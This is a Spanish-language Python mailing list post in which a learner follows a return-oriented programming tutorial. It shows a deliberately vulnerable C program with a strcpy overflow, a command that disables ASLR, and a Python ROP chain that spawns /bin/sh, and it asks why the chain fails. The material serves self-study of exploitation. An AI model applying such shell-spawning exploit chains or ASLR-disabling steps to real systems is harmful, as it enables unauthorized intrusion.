[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Alberto Perez ksian1685 en gmail.com
Dom Ago 16 21:22:12 ART 2015


No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
Resulta que estaba siguiendo las instrucciones de un blogger: (
http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
)
1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
ejecutando en una maquina de 32 bits):

#include <stdio.h>
#include <string.h>

void saluda (char * texto){
    char nombre[250];
    strcpy(nombre, texto);
    printf("hola %s\n", nombre);
}

int main (int argc, char **argv){
    saluda(argv[1]);
    return 0;
}

2- modifiqué la configuracion de mi computadora:
echo "0" > /proc/sys/kernel/randomize_va_space

3-hice el exploit en python:

from struct import pack


ex = 'A'*262
ex += pack('I',0x080e1db9) #pop %eax
ex += '/bin'
ex += pack('I',0x0806e39a) #pop %edx
ex += pack('I',0x080e99a0) #.data
ex += pack('I',0x08099fad) #mov %eax,(%edx)
ex += pack('I',0x080e1db9) #pop %eax
ex += '/sh#'
ex += pack('I',0x0806e39a) #pop %edx
ex += pack('I',0x080e99a4) #.data+4
ex += pack('I',0x08099fad) #mov %eax,(%edx)
ex += pack('I',0x0806e39a) #pop %edx
ex += pack('I',0x080e99a7) #.data+7
ex += pack('I',0x080b7c20) #xor %eax,%eax
ex += pack('I',0x08099fad) #mov %eax,(%edx)
ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
ex += pack('I',0x080e99a7) #.data+7
ex += pack('I',0x080e99a0) #.data
ex += pack('I',0x0806e39a) #pop %edx
ex += pack('I',0x080e99a7) #.data+7
ex += pack('I',0x080b7c20) #xor %eax,%eax
for i in range(int("0xb",16)):
        ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
        ex += '####'

ex += pack('I',0x806ea30) #int 0x80

print ex

resulta que no funciona y se me ocurre que puede ser porque estoy usando
python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a python
para que funcione en 32 bits?
gracias.
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150816/a725c220/attachment.html>


More information about the pyar mailing list